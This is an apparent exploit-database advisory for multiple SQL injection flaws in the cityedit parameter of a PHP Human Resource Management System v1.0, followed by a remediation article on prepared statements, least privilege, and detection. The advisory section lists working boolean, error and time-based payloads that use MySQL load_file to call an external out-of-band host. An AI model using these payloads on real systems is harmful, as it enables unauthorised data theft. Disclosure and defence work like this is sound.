Human Resource Management System v1.0 - Multiple SQLi

Exploit Author: nu11secur1ty Analysis Author: www.bubbleslearn.ir Category: WebApps Language: SQL Published Date: 2024-04-08
## Title: Human Resource Management System v1.0 - Multiple SQLi
## Author: nu11secur1ty
## Date: 04/02/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The cityedit parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+'
was submitted in the cityedit parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.
The attacker can get all information from the system by using this
vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: cityedit (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: cityedit=22'+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
RLIKE (SELECT (CASE WHEN (1759=1759) THEN 0x3232+(select
load_file(0x5c5c5c5c726a6564686468666a3662336a3175736a30656f696978343376396f786b6c626f7a666d3561752e6f6173746966792e636f6d5c5c656969))+''
ELSE 0x28 END)) AND 'GMzs'='GMzs

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: cityedit=22'+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
OR (SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT
(ELT(8880=8880,1))),0x7178626271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'qJHK'='qJHK

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: cityedit=22'+(select
load_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''
AND 2124=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR
1) AND 'Jtnd'='Jtnd
---
```


Human Resource Management System v1.0 — Multiple SQL Injection (SQLi): Analysis, Risks, and Remediation

This article examines a recent report of multiple SQL injection (SQLi) issues affecting a Human Resource Management System (HRMS) v1.0 codebase. It explains how the vulnerability works, the likely impacts, detection methods, and practical, developer-focused mitigations you can apply to remove or mitigate these risks.

Executive summary

A parameter in the HRMS web application accepts user-controlled input and directly interpolates it into SQL statements. This makes the application vulnerable to several SQLi variants (boolean-based blind, error-based, time-based, and out‑of‑band/file-read attacks). An attacker who successfully exploits these weaknesses can read or exfiltrate sensitive data, escalate privileges, and potentially cause more severe compromises depending on the database and host configuration.

Why this is high-severity

  • SQLi often leads to full database disclosure, account compromise, or remote code execution in some server configurations.
  • Out‑of‑band techniques (e.g., causing the DB to contact an attacker-controlled host or exfiltrate files) indicate the ability to read arbitrary server files when the DB user has excessive privileges.
  • Automated exploitation tools and simple manual tests can quickly confirm and exploit these issues.

Vulnerability types observed (high-level)

  • Boolean-based blind — an attacker infers true/false results by observing web responses.
  • Error-based — crafting inputs that cause DB errors which leak data via error messages.
  • Time-based blind — causing queries that delay responses to infer data.
  • Out-of-band/file-read — abusing functions like LOAD_FILE or FILE privileges to retrieve files or cause network callbacks.

Common indicators of exploitation

  • Unexpected outbound DNS/HTTP requests originating from the database host to unknown domains.
  • Database errors or stack traces exposed in HTTP responses.
  • Long response times that correlate with specific input patterns (indicative of time-based checks).
  • Presence of concatenated SQL strings in application source code that include user input variables.

Concrete developer-focused guidance

1) Fix the code: use parameterized queries / prepared statements

Never compose SQL queries by concatenating or interpolating user input. Use prepared statements with bound parameters. The example below shows a common insecure PHP pattern followed by a corrected PDO implementation.

<?php
// Insecure: DO NOT use this pattern
$city = $_GET['cityedit'];
$sql = "SELECT * FROM employees WHERE city = '$city'";
$result = mysqli_query($conn, $sql);
?>

Explanation: This example concatenates a GET parameter directly into SQL. Attackers can inject SQL fragments through the cityedit parameter because no parameterization or sanitization is applied.

<?php
// Secure: PDO prepared statement with bound parameter
$city = $_GET['cityedit'];
$stmt = $pdo->prepare('SELECT * FROM employees WHERE city = :city');
$stmt->execute([':city' => $city]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

Explanation: The application sends the SQL template to the database and binds user data separately. The database treats the parameter as data, not SQL, preventing injection. This approach should be used for all dynamic queries.

2) Enforce least-privilege for database accounts

Application DB users should have only the privileges they need. In particular:

  • Revoke the FILE privilege from the application account unless explicitly required: it allows reading/writing server files.
  • Do not use an administrative or root DB user from the web application.
-- Example: revoke FILE privilege from an application user
REVOKE FILE ON *.* FROM 'appuser'@'apphost';
FLUSH PRIVILEGES;

Explanation: Removing FILE prevents many file-read/out-of-band attacks that rely on file system access (LOAD_FILE, SELECT ... INTO OUTFILE, etc.). Combined with restricting OS-level access, this reduces attack surface.

3) Configure the database securely

  • Restrict or disable database functions that allow file access if not required.
  • Set database-level controls such as secure_file_priv (or equivalent) to restrict file operations to a safe directory, or remove such privileges entirely for app users.
  • Keep the DBMS patched and up to date.

Note: exact configuration options vary by database vendor and version. Consult vendor docs before changing settings in production.

4) Input validation and output handling

  • Apply strict allowlisting for inputs such as IDs, enum values, and lengths.
  • Normalize and canonicalize input before use.
  • Escape output to the correct context (HTML, JSON, shell) to mitigate downstream injection classes and XSS.

5) Logging, monitoring, and detection

  • Log database errors and unusual queries at an elevated level (but avoid leaking sensitive secrets in logs).
  • Monitor for outbound DNS/HTTP requests from DB hosts and unknown domains; these can be signs of out-of-band SQLi exploitation.
  • Use Web Application Firewalls (WAF) and anomaly detection to block common SQLi patterns and long-running queries.

Testing and safe verification

When testing for SQLi:

  • Only test in isolated staging or lab environments (never attack production systems you do not own or are not authorized to test).
  • Use non-destructive techniques and avoid aggressive payloads that can corrupt data or cause accidental data leaks.
  • Prefer parametric and automated security scanners that support safe testing modes, and complement them with manual code review.

Incident response checklist (if you suspect exploitation)

  • Isolate affected systems from the network (to prevent further exfiltration).
  • Rotate database credentials, API keys, and any secrets that might have been exposed.
  • Collect and preserve logs (web, application, DB, OS) for forensic analysis.
  • Restore from clean backups where necessary and re-deploy patched code.
  • Notify affected stakeholders and follow regulatory breach notification requirements where applicable.

Example remediation plan for this HRMS

Step Action Priority
Code fix Replace dynamic SQL concatenation with prepared statements and parameterized queries across the application. Critical
Privileges Create a dedicated, least-privilege DB account; revoke FILE and other unnecessary privileges. Critical
Config Harden DB configuration (restrict file-access routines and set appropriate secure_file_priv directory). High
Detection Enable logging/monitoring and block common exploit patterns at the WAF. High
Audit Perform a full security code review and penetration test in a staging environment. High

Developer best practices (practical checklist)

  • Always use parameterized queries or a mature ORM with safe query builders.
  • Validate and canonicalize input; use allowlists for known-good values.
  • Limit DB user privileges and separate duties between app and admin accounts.
  • Hide detailed DB errors from end users; surface generic messages instead.
  • Maintain a secure deployment pipeline, including secret rotation and dependency updates.

Conclusion

SQL injection remains one of the most impactful web application vulnerabilities. The HRMS v1.0 report highlights common, long-standing mistakes (direct string concatenation and over-privileged DB users). Immediate steps are straightforward: replace unsafe query construction with parameterized statements, enforce least privilege on DB accounts, harden DB configuration, and implement detection controls. When fixed comprehensively, these measures dramatically reduce the risk of data exfiltration and post‑compromise activity.